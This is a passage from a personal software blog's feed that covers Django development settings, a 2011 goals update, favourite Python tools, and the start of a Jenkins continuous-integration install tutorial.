&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DEBUG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END DEBUG CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## EMAIL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EMAIL_BACKEND&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;django.core.mail.backends.dummy.EmailBackend&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END EMAIL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## DATABASE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;default&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;ENGINE&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;django.db.backends.sqlite3&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;NAME&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SITE_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;db&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;default.db&amp;#39;&lt;/span>&lt;span class="p">)),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;USER&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;PASSWORD&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;HOST&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;PORT&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END DATABASE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## CACHE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">CACHES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;default&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;BACKEND&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;django.core.cache.backends.dummy.DummyCache&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END CACHE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## DJANGO-DEBUG-TOOLBAR CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MIDDLEWARE_CLASSES&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;debug_toolbar.middleware.DebugToolbarMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INSTALLED_APPS&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;debug_toolbar&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># IPs allowed to see django-debug-toolbar output.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INTERNAL_IPS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;127.0.0.1&amp;#39;&lt;/span>&lt;span class="p">,)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DEBUG_TOOLBAR_CONFIG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># If set to True (default), the debug toolbar will show an intermediate&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># page upon redirect so you can view any debug information prior to&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># redirecting. This page will provide a link to the redirect destination&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># you can follow when ready. If set to False, redirects will proceed as&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># normal.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;INTERCEPT_REDIRECTS&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">False&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># If not set or set to None, the debug_toolbar middleware will use its&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># built-in show_toolbar method for determining whether the toolbar should&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># show or not. The default checks are that DEBUG must be set to True and&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># the IP of the request must be in INTERNAL_IPS. You can provide your own&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># method for displaying the toolbar which contains your custom logic. This&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># method should return True or False.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;SHOW_TOOLBAR_CALLBACK&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">None&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># An array of custom signals that might be in your project, defined as the&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># python path to the signal.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;EXTRA_SIGNALS&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># If set to True (the default) then code in Django itself won&amp;#39;t be shown in&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># SQL stacktraces.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;HIDE_DJANGO_SQL&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># If set to True (the default) then a template&amp;#39;s context will be included&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># with it in the Template debug panel. Turning this off is useful when you&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># have large template contexts, or you have template contexts with lazy&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># datastructures that you don&amp;#39;t want to be evaluated.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;SHOW_TEMPLATE_CONTEXT&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># If set, this will be the tag to which debug_toolbar will attach the debug&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># toolbar. Defaults to &amp;#39;body&amp;#39;.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;TAG&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;body&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END DJANGO-DEBUG-TOOLBAR CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## CELERY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INSTALLED_APPS&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;djkombu&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">BROKER_BACKEND&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;djkombu.transport.DatabaseTransport&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END CELERY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When you&amp;rsquo;re using any sort of management command, just specify the settings
module you want to use. For example: instead of running
&lt;code>python manage.py syncdb&lt;/code>, you would do
&lt;code>python manage.py syncdb --settings=settings.dev&lt;/code>. Same goes with &lt;code>runserver&lt;/code>,
or any other command.&lt;/p>
&lt;p>As you can see, the benefits of a settings module are numerous, and meet all of
our requirements. We&amp;rsquo;re able to have our cake (by version controlling all
environment specific settings) and eat it too (by choosing which one to use
simply via our application server).&lt;/p>
&lt;p>I&amp;rsquo;ve been working on numerous Django projects for around 2 years now, and I&amp;rsquo;ve
not found any better ways to do it.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: Since writing this article, I&amp;rsquo;ve created a really neat generic
Django project that you can use as a project &lt;em>base&lt;/em>. It&amp;rsquo;s called
&lt;code>django-skel&lt;/code>, and you can check it out on the official project
&lt;a href="https://github.com/rdegges/django-skel" title="django-skel on GitHub">GitHub Page&lt;/a>. It contains (among other things) examples of a
production ready settings module. Take a look!&lt;/p></description></item><item><title>2011 Yearly Goals Update 1</title><link>https://rdegges.com/2011/2011-yearly-goals-update-1/</link><pubDate>Sun, 24 Apr 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/2011-yearly-goals-update-1/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/2011-yearly-goals-update-1/pelican-sketch.png" alt="Pelican Sketch" title="Pelican Sketch">
&lt;/p>
&lt;p>Early this year I &lt;a href="https://rdegges.com/2010/what-im-doing-in-2011/" title="What I'm Doing in 2011">wrote a post&lt;/a> outlining my goals for the year. Since
April is almost over, I thought I&amp;rsquo;d do my first follow-up to let you know what
I&amp;rsquo;ve accomplished so far, and to put my goals into perspective.&lt;/p>
&lt;h2 id="reading-habit">Reading Habit&lt;/h2>
&lt;p>The first goal I listed in my previous post was to start a new reading habit&amp;ndash;
to read for at least 30 minutes a day. When the new year started, this was the
first thing I tackled. I forced myself to read 30 minutes a day for the first
month, and since then, it&amp;rsquo;s been automatic.&lt;/p>
&lt;p>I&amp;rsquo;m especially glad I&amp;rsquo;ve followed through with this goal already, as I&amp;rsquo;ve been
getting a great deal of value out of it. So far I&amp;rsquo;ve learned lots of new
things, and have really opened my mind a lot.&lt;/p>
&lt;h2 id="exercise-habit">Exercise Habit&lt;/h2>
&lt;p>Another goal of mine was to start a new exercise habit, and consistently
exercise 30 minutes a day 5 times a week. From January to February, I did
quite a bit of jogging, and a small amount of weightlifting 6 days a week
(Monday -&amp;gt; Saturday). In February I joined &lt;a href="http://www.teamcrossfit.com/" title="Team CrossFit Woodland Hills, CA">Team CrossFit&lt;/a>, and started
doing it 4 days a week.&lt;/p>
&lt;p>Since then, I&amp;rsquo;ve been exercising (usually) 5 or 6 days a week. If I can&amp;rsquo;t make
it to a CrossFit session (which has happened quite a bit), I&amp;rsquo;ll do some weights
in the gym, bike a few miles, or walk / jog for at least 30 minutes on the
treadmill.&lt;/p>
&lt;p>Since January, I&amp;rsquo;ve been feeling much healthier, happier, and stronger.
Although I haven&amp;rsquo;t consistently met my goal of 5 days a week, I&amp;rsquo;m confident
that I&amp;rsquo;ll have it 100% down to habit in the next few months.&lt;/p>
&lt;h2 id="stop-consuming-soda--energy-drinks">Stop Consuming Soda / Energy Drinks&lt;/h2>
&lt;p>I also wrote in my yearly goal post that I wanted to completely cut soda and
energy drinks out of my diet. I&amp;rsquo;m happy to say that I have completely removed
all soda from my diet. It&amp;rsquo;s been a long time since I&amp;rsquo;ve had soda now, and I&amp;rsquo;ve
completely stopped craving it.&lt;/p>
&lt;p>From January &amp;rsquo;till the past month, I had also cut energy drinks out of my diet
entirely (I would take caffeine pills instead). This month, however, I
discovered the joy of no-carb energy drinks. They taste great, have only 10
calories, and 0 carbs. I&amp;rsquo;m not completely sure why (probably due to my long
history of bad habits), but I get a lot of enjoyment out of sipping on energy
drinks through the day (especially while programming).&lt;/p>
&lt;p>I still plan on phasing energy drinks out of my diet before the end of the
year, but for now I&amp;rsquo;m happy that I&amp;rsquo;ve found some which aren&amp;rsquo;t nearly as
damaging to my health as the ones I used to drink daily.&lt;/p>
&lt;h2 id="lose-1lb-per-week">Lose 1lb Per Week&lt;/h2>
&lt;p>Another one of my ambitious goals this year was to lose 1lb of bodyweight per
week (minimum). I&amp;rsquo;m extremely happy to say that I&amp;rsquo;ve repeatedly accomplished
this goal so far. While it&amp;rsquo;s true that some weeks I&amp;rsquo;ve not lost weight, or
even gone up a pound or two, the overall trend has been downwards at a rate of
more than 1 lb per week. Since the year started I&amp;rsquo;ve lost &lt;strong>30lbs&lt;/strong>. We&amp;rsquo;re
about 16 weeks into the new year right now, which puts me at an &lt;strong>average loss
of nearly 2lbs per week&lt;/strong>.&lt;/p>
&lt;p>I&amp;rsquo;m currently &lt;strong>230.7 lbs&lt;/strong>, and want to get down to &lt;strong>175 lbs&lt;/strong> before
starting serious bodybuilding training.&lt;/p>
&lt;h2 id="launch-a-paid-service">Launch a Paid Service&lt;/h2>
&lt;p>In my previous post I mentioned that I wanted to launch some sort of paid
service. My motivation for this was to help improve my overall skills as an
entrepreneur / engineer, and overcome the initial barrier of launching a product
for the first time.&lt;/p>
&lt;p>To me, building my own products and services is a dream that I hope to someday
accomplish. I&amp;rsquo;ve not even started on this goal yet, but as 2012 draws closer
I&amp;rsquo;m feeling more anxious, and plan to start on it soon.&lt;/p>
&lt;p>I&amp;rsquo;ll be sure to give you all some updates as I begin to work on some sort of
service.&lt;/p>
&lt;h2 id="make-the-best-partylines">Make the Best Partylines&lt;/h2>
&lt;p>At my work, one of our large projects over the past couple years has been
partylines. This year I told myself I wanted to make them the best partylines
in order to crush the competition. Unfortunately, I haven&amp;rsquo;t had too much time
to work on them since the year started, so I haven&amp;rsquo;t made too much progress in
this area. However, we plan on launching the ambitious v2 of our partyline
systems sometime in the next week or so, and that should be a fresh start, and
should help push improvements forward over the coming months.&lt;/p>
&lt;p>For my next update, I&amp;rsquo;ll go into more detail about this goal, as I believe by
then we&amp;rsquo;ll have something completed.&lt;/p>
&lt;h2 id="launch-globalroute">Launch GlobalRoute&lt;/h2>
&lt;p>My work&amp;rsquo;s VoIP company (&lt;a href="http://globalroute.net/" title="GlobalRoute">GlobalRoute&lt;/a>) hasn&amp;rsquo;t been launched yet. It&amp;rsquo;s been
in beta for a while, but got pushed aside to make time for other more urgent
projects. I&amp;rsquo;m still hopeful that this can be launched this year, so more
information about this will have to wait until the next update.&lt;/p>
&lt;h2 id="give-a-technical-presentation">Give a Technical Presentation&lt;/h2>
&lt;p>I haven&amp;rsquo;t done this yet, mostly due to lack of time. However, this year I&amp;rsquo;m
definitely going to give at least one presentation at a tech meet up. I&amp;rsquo;ll try
to do this before my second update!&lt;/p>
&lt;h2 id="travel">Travel&lt;/h2>
&lt;p>This year I planned on visiting several places. So far I&amp;rsquo;ve gone to two of
them, and I&amp;rsquo;ve still got 4 left :)&lt;/p>
&lt;ul>
&lt;li>San Francisco&lt;/li>
&lt;li>Hawaii&lt;/li>
&lt;li>Portland&lt;/li>
&lt;li>Seattle&lt;/li>
&lt;/ul>
&lt;h2 id="feelings">Feelings&lt;/h2>
&lt;p>I feel like this year has been a great year so far. I&amp;rsquo;ve still got a lot I
want to accomplish before the year is up, and I plan on aggressively meeting
all of my goals before then. Over the past 4 months I&amp;rsquo;ve had a lot of great
opportunities to make myself a better person, and so far I feel I&amp;rsquo;ve been doing
a decent job at it.&lt;/p>
&lt;p>Hopefully by the next update, I&amp;rsquo;ll have wiped even more goals off my list!&lt;/p></description></item><item><title>Essential Tools for Pythonistas</title><link>https://rdegges.com/2011/essential-tools-for-pythonistas/</link><pubDate>Sun, 17 Apr 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/essential-tools-for-pythonistas/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/essential-tools-for-pythonistas/python-sketch.png" alt="Python Sketch" title="Python Sketch">
&lt;/p>
&lt;p>&lt;a href="http://python.net/~goodger/projects/pycon/2007/idiomatic/presentation.html" title="Code Like a Pythonista">Pythonistas&lt;/a> need a lot of good tools in order to work efficiently. I&amp;rsquo;d
like to take a few minutes to enumerate some of my favorite tools that help me
write better Python code faster.&lt;/p>
&lt;h2 id="github">GitHub&lt;/h2>
&lt;p>Although you&amp;rsquo;re likely already using &lt;a href="https://github.com/" title="GitHub">Github&lt;/a> for hosting all of your
projects (both open source, and closed source), if you aren&amp;rsquo;t, you need to
seriously reconsider what you are doing with your life. GitHub is an extremely
useful platform for hosting &lt;a href="http://git-scm.com/" title="Git">Git&lt;/a> projects. It provides lots of great tools
for making your project easy to work on, easy to get assistance with, easy to
discover, and tons of other things.&lt;/p>
&lt;h2 id="vim--pyflakes">Vim + pyflakes&lt;/h2>
&lt;p>Ok, so &lt;a href="http://www.vim.org/" title="Vim">Vim&lt;/a> may not be entirely necessary, but &lt;a href="https://github.com/kevinw/pyflakes" title="pyflakes">pyflakes&lt;/a> definitely is.
pyflakes is an awesome python project that integrates with Vim, and allows you
to check for interpreter errors in your python code live (as you are coding).
This is immensely useful when working on large projects, as you almost never
need to actually run your code to find basic errors&amp;ndash;your Vim terminal will
simply highlight the problematic source line red, and provide you with a nice
little error description so that you can fix it without ever running it.&lt;/p>
&lt;p>Furthermore, pyflakes is fast. As you code it&amp;rsquo;ll show exceptions in a
non-invasive way, which makes it excellent for fixing errors quickly without
disturbing your train of thought.&lt;/p>
&lt;p>Here&amp;rsquo;s a little screen shot of pyflakes in action:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/essential-tools-for-pythonistas/pyflakes-screenshot.png" alt="pyflakes Screenshot" title="pyflakes Screenshot">
&lt;/p>
&lt;h2 id="sphinx">Sphinx&lt;/h2>
&lt;p>Writing good documentation is essential for good projects. Good technical
documentation is what separates decent projects from amazing projects. If you
provide clear, useful documentation for your project&amp;rsquo;s users, then you are far
more likely to get good involvement from other programmers, and are much more
likely to get positive exposure.&lt;/p>
&lt;p>&lt;a href="http://sphinx.pocoo.org/" title="Sphinx">Sphinx&lt;/a> (a &lt;a href="http://www.pocoo.org/" title="pocoo">pocoo&lt;/a> project) is the best tool around for generating
beautiful documentation for technical projects. It allows you to write simple
&lt;a href="http://docutils.sourceforge.net/rst.html" title="reStructuredText">reStructuredText&lt;/a> markup (a plain text format), which it compiles into
beautiful HTML pages and PDF documents. It comes with several built-in themes,
so you can even choose a look that suits your project&amp;rsquo;s personality.
Furthermore, extending Sphinx and writing custom themes is very simple&amp;ndash;just
add a CSS file, and you can easily change the entire look and feel of your
documentation.&lt;/p>
&lt;h2 id="read-the-docs">Read The Docs&lt;/h2>
&lt;p>&lt;a href="http://readthedocs.org/" title="readthedocs">ReadTheDocs&lt;/a> is a relatively new (and highly regarded) Sphinx documentation
hosting site. It provides free documentation hosting for Sphinx projects,
which makes sharing your project&amp;rsquo;s documentation even easier.&lt;/p>
&lt;p>Having great documentation is awesome, having great and &lt;em>easily accessible&lt;/em>
documentation is even more awesome.&lt;/p>
&lt;p>ReadTheDocs allows you to host all of your projects&amp;rsquo; documentation in a single
location, as well as automatically build your project documentation whenever
you make updates, and lots of other goodies. If you aren&amp;rsquo;t using it, you
should be.&lt;/p>
&lt;h2 id="virtualenv">virtualenv&lt;/h2>
&lt;p>As any frequent Python programmer will tell you, having tons of Python packages
installed on your OS of choice is a &lt;em>pain-in-the-ass&lt;/em>. Projects all require
various versions of dependencies, and having your OS cluttered with conflicting
versions of packages is incredibly frustrating &lt;a href="http://www.virtualenv.org/en/latest/" title="virtualenv">virtualenv&lt;/a> makes this problem
go away.&lt;/p>
&lt;p>&lt;code>virtualenv&lt;/code> provides isolated package environments that you can install Python
packages to. This way, each project you work on can have its own mini working
environment, completely isolated from the rest of your system.&lt;/p>
&lt;p>Ideally, you should be using &lt;code>virtualenv&lt;/code> with the infamous
&lt;a href="http://www.doughellmann.com/projects/virtualenvwrapper/" title="virtualenvwrapper">virtualenvwrapper&lt;/a>.&lt;/p></description></item><item><title>Simple Continuous Integration / Deployment With Jenkins</title><link>https://rdegges.com/2011/simple-continuous-integration-deployment-with-jenkins/</link><pubDate>Sun, 10 Apr 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/simple-continuous-integration-deployment-with-jenkins/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/simple-continuous-integration-deployment-with-jenkins/butler-sketch.png" alt="Butler Sketch" title="Butler Sketch">
&lt;/p>
&lt;p>At work we rely heavily on continuous integration and deployment to help us
deliver lots of code into production and staging environments quickly. In a
typical day, we&amp;rsquo;ll make something like 15 deployments to at least one or two of
our projects.&lt;/p>
&lt;p>The software we use to manage this is crucial to us, as programmers, because it
makes our lives much easier. Instead of manually running large test suites
against remote servers, we just let our CI system run the tests as soon as we
push our code to &lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a>, and once our tests pass, deploy the code live :)&lt;/p>
&lt;p>Today I&amp;rsquo;m setting up a new &lt;a href="http://jenkins-ci.org/" title="Jenkins CI">Jenkins CI&lt;/a> server for work, to move off our old
&lt;a href="http://hudson-ci.org/" title="Hudson CI">Hudson&lt;/a> server, so I figured this would be a good time to blog about the
process, as it&amp;rsquo;s so extremely helpful to us that I can&amp;rsquo;t imagine ever
programming without it again.&lt;/p>
&lt;p>For the rest of this tutorial, I expect that you:&lt;/p>
&lt;ul>
&lt;li>Are using Ubuntu server or Debian server as your operating system.&lt;/li>
&lt;li>Are familiar with the Linux command line.&lt;/li>
&lt;li>Know what &lt;a href="http://en.wikipedia.org/wiki/Continuous_integration" title="Continuous Integration Wiki Page">continuous integration&lt;/a> and continuous deployment are.&lt;/li>
&lt;li>Have some code to test deploy.&lt;/li>
&lt;/ul>
&lt;h2 id="installing-jenkins">Installing Jenkins&lt;/h2>
&lt;p>Installing Jenkins is ridiculously easy on Debian systems:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> wget -q -O - http://pkg.jenkins-ci.org/debian/jenkins-ci.org.key &lt;span class="p">|&lt;/span> sudo apt-key add -
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;deb http://pkg.jenkins-ci.org/debian binary/&amp;#34;&lt;/span> &amp;gt; /etc/apt/sources.list.d/jenkins.list
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo aptitude -y update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo aptitude -y install jenkins
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Congratulations, you now have Jenkins running! To visit your new Jenkins
instance, just visit &lt;code>http://youserverip:8080/&lt;/code>. If you want to update it, you
can do so with the rest of the system (via
&lt;code>aptitude -y update; aptitude -y safe-upgrade&lt;/code>).&lt;/p>
&lt;h2 id="configure-a-http-proxy-with-nginx">Configure a HTTP Proxy With NGINX&lt;/h2>
&lt;p>Since Jenkins by default runs on port &lt;code>8080&lt;/code>, I like setting up an HTTP proxy
so to that I can access it on port &lt;code>80&lt;/code>. My weapon of choice for proxying is
NGINX, so let&amp;rsquo;s set that up now:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo aptitude -y install nginx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> &lt;span class="nb">cd&lt;/span> /etc/nginx/sites-available
